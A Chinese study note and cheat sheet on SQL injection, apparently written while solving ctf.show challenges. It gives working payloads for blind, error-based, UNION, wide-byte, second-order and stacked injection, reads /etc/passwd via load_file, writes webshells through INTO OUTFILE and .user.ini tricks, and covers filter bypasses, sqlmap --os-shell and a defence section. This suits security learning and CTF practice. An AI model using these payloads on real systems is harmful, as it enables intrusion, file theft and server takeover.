SQL注入

数据与代码分离

盲注:没有错误回显 or 返回页面无差异

//根据返回结果判断注入
id=2
id=2 and 1=2
id=2 and 1=1

基于时间的盲注:

BENCKMARK(count,expr)
sleep()
//笛卡尔积
(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata E)
//正则dos
concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'
get_clock()

五种时间盲注

MYSQL注入

1.注释符

#注释从#字符到行尾;
--注释从该字符到行尾,但是后面需要跟上一个或多个空格(空格、tag都可以);
/* */注释从/序列到后面的/序列中间的字符。
/* */中加语句:


2.元数据

information_schema数据库的利用:

 //查数据库
select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1;      
//查表
select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = (select DATABASE());     
//查列名
select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA='security' and TABLE_NAME='users';

3.UNION查询

order byunion select查询测列数和回显位置

4.函数利用

load_file():读文件
要求文件的位置必须在服务器上,文件必须为全路径名称(绝对路径),而且用户必须持有FILE权限,文件容量也必须小于max_allowed_packet(默认为16MB,最大为1GB)。

union select 1,load_file('/etc/passwd'),3,4,5,6 #
//过滤单引号
union select 1,2load_file(0x2F6574632F706173737764),3,4,5,6 #
union select 1,load_file(char(47,101,99,116,47,112,97,115,115,119,100)),3,4,5,6 #
//防止返回结果乱码
select hex(load_file(char(99,58,92,49,46,116,120,116)));

into outfile() into dumpfile():写文件
要求仍然是必须持有FILE权限,并且文件必须为全路径名称。

写文件到文件里:

select '' into outfile 'c:\wwwroot\1.php';
select char(99,58,92,50,46,116,120,116) into outfile 'c:\wwwroot\1.php';

写文件到表里:

CREATE TABLE potatoes(line BLOB)
UNION SELECT 1,1,HEX(LOAD_FILE('/ext/passwd')),1,1 INTO DUMPFILE '/tmp/potatoes';
LOAD DATA INFILE '/tmp/potatoes' INTO TABLE potatoes

上面要求要创建表的权限。INTO DUMPFILEINTO OUTFILE的区别是:DUMPFILE适用于二进制文件,它会将目标文件写入同一行内;而OUTFILE则更适用于文本文件。

concat() concat_ws():拼接字符串

concat()

concat_ws()

group_concat():纵向拼接

group_concat()

5.报错注入

updatexml()

updatexml(XML_document,XPath_string,new_value)

extractvalue()

extractvalue(XML_document,XPath_string)

floor()ceil()round()配合rand()
https://www.cnblogs.com/wzy-ustc/p/14217750.html

6.宽字节注入

一般出现在PHP+MySQL中,出现的原因是编码不统一。下面的分析是基于MySQL使用了GBK编码这种宽字符集。
在PHP配置文件php.ini中存在magic_quotes_gpc选项,被称为魔术引号,当此选项被打开时,使用GET、POST、Cookie所接收到的单引号'、双引号"、反斜线\NULL字符都会被自动加上一个反斜线转义。
那么输入的'就会变为\',而MySQL认为\'是一个字符,所以无法闭合之前的'从而达到注入的效果。但是如果输入的是0xbf',即0xbf27,单引号被转义后变为0xbf5c27(0x5c=\),而0xbf5c被MySQL解析为一个字符,转义字符\就被绕过了,单引号'成功闭合了。
要解决这种问题,需要统一数据库、操作系统、Web应用所使用的字符集,以避免各层对字符的理解存在差异。统一设置为UTF-8是一个很好的方法。
基于字符集的攻击并不局限于SQL注入,凡是会解析数据的地方都可能存在此问题。比如在XSS攻击时,由于浏览器与服务器返回的字符编码不同,也可能会存在字符集攻击。解决方法就是在HTML页面的标签中指定当前页面的charset。

7.MySQL长字符截断

在MySQL中的一个设置里有一个sql_mode选项,当sql_mode设置为default时,即没有开启STRICT_ALL_TABLES选项时(MySQLsql_mode默认即为default),MySQL对插入超长的值只会提示warning,而不是error,这样就可能会导致一些截断问题。
比如表如下:

CREATE TABLE USERS(
    id int(11) NOT NULL,
    username varchar(7) NOT NULL,
    password varchar(12) NOT NULL

正常的插入:

insert into users(id,username,password) values(1,'admin','admin');

恶意的插入:

//'admin   '右边有3个空格,长度为8
insert into users(id,username,password) values(1,'admin   ','admin');
//在上面的基础上再加个x
insert into users(id,username,password) values(1,'admin   x','admin');

这时数据库中有三个叫admin的用户,只不过后面两个的长度为7。也就是在默认情况下,如果数据超出列默认长度,MySQL会将其截断。但是在查询username='admin'的时候,三个用户都会被查询出来。

攻击方法:
假设管理员登陆的用户名为admin,那么攻击者仅需要注册一个"admin "用户即可轻易进入后台管理页面,像著名的WordPress就被这样的方式攻击过。

8.UDF MOF提权

权限获取
https://www.jianshu.com/p/a00dd5240738

9.存储过程

存储过程是为了完成特定功能的SQL语句集,经编译创建并保存在数据库中,用户可通过指定存储过程的名字并给定参数(需要时)来调用执行。

存储过程其实和UDF是很相似的,但存储过程必须使用CALL或者EXECUTE来执行。所以在某种意义上,存储过程将为攻击者提供很大的便利。
比如,在MS SQL Server中,存储过程xp_cmdshell可以用来执行系统命令。

存储过程不能防止SQL注入,参数化才能。

procedure get_item(
    itm_cv IN OUT ItmCurTyp,
    usr in varchar2,
    itm in varchar2)
is     open itm_cv for ' SELECT * FROM items  WHERE ' ||
                ' owner = ''' || usr ||
                ' AND itemname = ''' || itm || '''';
end get_item;

在这个存储过程中,变量usritemname都是由外部传入的,且未经过任何处理,将直接造成SQL注入问题。

补充:
MySQL的HAVING子句在SELECT语句中是用来为某一组行或聚合指定过滤条件。
MySQL的HAVING子句通常与GROUP BY子句一起使用。当它在GROUP BY子句中使用时,我们可以应用它在GROUP BY子句之后来指定过滤的条件。如果省略了GROUP BY子句,HAVING子句行为就像WHERE子句一样。
请注意,HAVING子句应用筛选条件每一个分组的行,而WHERE子句的过滤条件是过滤每个单独的行。

10.二次注入

输入一个带引号的变量被存入数据库,那么第二次访问它就有可能把造成闭合。
以PHP为例,PHP在开启magic_quotes_gpc后,将会对特殊字符转义,比如将'转义为\'。对于如下SQL语句:

$sql = "insert into users (id,username,password) values (20,'$title','$content')";

如果插入的title为secbug'、content为secbug.org,那么SQL语句如下:

insert into users (id,username,password) values (20,'secbug\'','secbug.org');

单引号的确是成功转义了,但是secbug\'在插入数据库中以后却没有\


这时候如果再有一处查询为:

select id,username,password from users where username='$username';

这时候单引号就成功闭合了,形成了SQL注入漏洞。

11.堆叠注入

就是两句sql拼接,中间;间隔。

12.HTTP头部注入

浅谈http头注入(附案例)

防御

1.预编译语句绑定变量

java中:

String custname=request.getParameter("customerName");
String query="SELECT account_balance FROM user_data WHERE user_name= ? ";
PreparedStatement pstmt = =connection.prepareStatement(query);
pstmt.setString(1,custname);
ResultSet results=pstmt.executeQuery();

php中:

$query="INSERT INTO myCity (Name,CountryCode,District) VALUES (?,?,?)";
$stmt=$myspli->prepare($query);
$stmt->bind_param("sss",$val1,$val2,$val3);
$val1='Stuttgart';
$val2='DEU';
$val3='Baden-Wuerttemberg';
/* Execute the statement */
$stmt->execute();

2.使用安全的存储过程

但需要注意的是,存储过程中也可能会存在注入问题,因此应该尽量避免在存储过程内使用动态的SQL语句。如果无法避免,则应该使用严格的输入过滤或者是编码函数来处理用户的输入数据。
下面是一个在Java中调用存储过程的例子,其中sp_getAccountBalance是预先在数据库中定义好的存储过程:

String custname = request.getParameter("customerName");
try{
    CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(?)}");
    cs.setString(1,custname);
    ResultSet results = cs.executeQuery();
    // ... result set handling
} catch (SQLException se) {
    // ... logging and error handling
}

3.检查数据类型

限制输入为interger:


但是如果我们就是要输入的是字符串就不太适用了。

4.使用安全函数

一般来说,各种Web语言都实现了一些编码函数,可以帮助对抗SQL注入。
同时,可以参考OWASP ESAPI中的实现:

Codec ORACLE_CODEC = new OracleCodec();
String query = "SELECT user_id FROM user_data WHERE user_name = ' " + ESAPI.encoder().encodeForSQL(ORACLE_CODEC,req.getParameter("userID")) + " ' and user_passwd= ' " + ESAPI.encoder().encodeForSQL(ORACLE_CODEC,req.getParameter("pwd")) + " ' ";

在最后,从数据库自身的角度来说,应该使用最小权限原则,避免Web应用直接使用root、dbowner等高权限账户直接连接数据库。如果有多个不同的应用在使用同一数据库,则也应该为每个应用分配不同的账户。Web应用使用的数据库账户,不应该有创建自定义函数、操作本地文件的权限。

绕过

返回结果过滤

to_base64()编码返回结果

-1' union select 1,to_base64(username),password from ctfshow_user3 --+

再进一步,replace替换返回结果中被过滤的值

大小写过滤

大小写绕过

空格过滤

/**/
%09(tab)
%0c换页符
()

等号过滤

id=1 and 1=1
id=1 and(ord(1))
id=1 and 1 like 1
id=1 and 1 like '1'            //LIKE 通常与 % 一同使用,类似于一个元字符的搜索。
id=1 and 'abcde' regexp('a')

引号过滤

二次注入
宽字符注入
需要引号括起来的字符串写为16进制
char()
两个注入点时,第一个反斜杠第二个为真注入点

数字过滤

使用true来过滤。在mysql中,sql语句true为1,true+true=2,所以通过相加,任何字母我们都可以构造出来。
那么先用一坨true表示十进制数字,再使用char()转换为字符,再用concat()拼接即可。

md5绕过

echo md5("ffifdyop",true);
//结果
'or'6É]™é!r,ùíb�
'or'6(后面的是不可见字符)

ascii()被过滤

ord()十进制比较
regexp正则比较
like配上%进行元字符匹配

substr()被过滤

left()
right()

一些补充知识点

在mysql和php中,数字和字符串进行比较时,当这个字符串是一个无法转换为数字的字符串,它就会被强制转化为数字,结果总是为0 。
在mysql的数字中,只有0是false,其余都是true。

一种骚操作:互换id和password,然后爆破:

alter table ctfshow_user change column `pass` `ppp` varchar(255);alter table ctfshow_user '
                        'change column `id` `pass` varchar(255);alter table ctfshow_user change column `ppp` `id` '
                        'varchar(255);',

表名和字段名都可以用反引号引起来,这是用来区分MYSQL的保留字与普通字符。 表名、字段名、数据库名等可用反引号 ( ` ),也可以不使用反引号 ,但如果它包含特殊字符或保留字,则必须使用,如果不使用就会报错。

sqlmap使用

--user-agent指定ua
--refer指定refer
--data调整请求方式?
--method调整请求方式(大写)
--cookie指定cookie
--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置两次注入测试前访问安全链接的次数
sqlmap会帮我们闭合,sql关键字用的是大写
--os-shell
–os-shell 其本质是写入两个shell文件,其中一个可以命令执行,另一个则是可以让我们上传文件;
不过也是有限制的,上传文件我们需要受到两个条件的限制,一个是网站的绝对路径,另一个则是导入导出的权限
在mysql中,由 secure_file_priv 参数来控制导入导出权限,该参数后面为null时,则表示不允许导入导出;如果是一个文件夹,则表示仅能在这个文件夹中导入导出;如果参数后面为空,也就是没有值时,则表示在任何文件夹都能导入导出

一些骚操作

1.procedure analyse()

  //分页查询
  $sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;

payload:

http://a4d802b0-9f96-436a-9019-353892921a86.challenge.ctf.show:8080/api/?page=1&limit=10 procedure analyse(extractvalue(rand(),concat(0x3a,database())),2)

procedure analyse()知识点

2.handler()语句

payload:

http://e2dcbccb-a399-4336-8102-60aa9e5c00c5.challenge.ctf.show:8080/api/?username=ctfshow';show%20tables;handler ctfshow_flagasa open;handler ctfshow_flagasa read first;

handler()知识点

3.预处理语句

payload:

http://e2dcbccb-a399-4336-8102-60aa9e5c00c5.challenge.ctf.show:8080/api/?username=';prepare p from concat('s','elect',' * from ctfshow_flagasa');execute p;

预处理语句

from后面可以直接跟16进制字符串:

http://0d6ac274-9bb0-4a78-8378-4549d3fdd18c.challenge.ctf.show:8080/api/?username=';prepare p from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;execute p;
//也就是
 http://0d6ac274-9bb0-4a78-8378-4549d3fdd18c.challenge.ctf.show:8080/api/?username=';prepare p from select * from ctfsh_ow_flagas;execute p;

4.调用存储过程

先查存储过程:

http://1dd857dd-4863-4914-80ae-44d6c7786e23.challenge.ctf.show:8080/api/?username=';prepare p from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;execute p;
//也就是
http://1dd857dd-4863-4914-80ae-44d6c7786e23.challenge.ctf.show:8080/api/?username=';prepare p from select * from information_schema.routines;execute p;

再调用:

http://1dd857dd-4863-4914-80ae-44d6c7786e23.challenge.ctf.show:8080/api/?username=';call getFlag();

5.其他数据库统计信息

数据库统计信息

//查表名
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#

6.无列名查询

//查数据
password=\&username=,username=(select b from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a)#

7.into outfile的扩展选项利用

SELECT ... INTO OUTFILE 'file_name'
        [CHARACTER SET charset_name]
        [export_options]
 
export_options:
    [{FIELDS | COLUMNS}
        [TERMINATED BY 'string']//分隔符
        [[OPTIONALLY] ENCLOSED BY 'char']
        [ESCAPED BY 'char']
    ]
    [LINES
        [STARTING BY 'string']
        [TERMINATED BY 'string']
    ]

/***********************************************************/

“OPTION”参数为可选参数选项,其可能的取值有:
 
`FIELDS TERMINATED BY '字符串'`:设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。
 
`FIELDS ENCLOSED BY '字符'`:设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。
 
`FIELDS OPTIONALLY ENCLOSED BY '字符'`:设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。
 
`FIELDS ESCAPED BY '字符'`:设置转义字符,只能为单个字符。默认值为“\”。
 
`LINES STARTING BY '字符串'`:设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。
 
`LINES TERMINATED BY '字符串'`:设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。

基于如下场景:

  //备份表
  $sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";
  //无过滤

可构造如下注入,在1.php中写入木马:

filename=1.php' fields terminated by ''#
//除了fields terminates by以外,lines starting by 和 lines terminated by都可以,用法和上面的一样

或者写入.user.ini(;表示单行注释):

filename=.user.ini' lines starting by ';' terminated by 0x0a6175746f5f70726570656e645f66696c653d312e6a70670a;#
//也就是如下语句,只不过在`auto_prepend_file=1.jpg`前后加了%0a用于换行,保证注入的内容单独在一行
filename=.user.ini' lines starting by ';' terminated by "auto_prepend_file=1.jpg"#

然后上传图片马即可:

filename=1.jpg' lines starting by ''#

你可能感兴趣的:(SQL注入)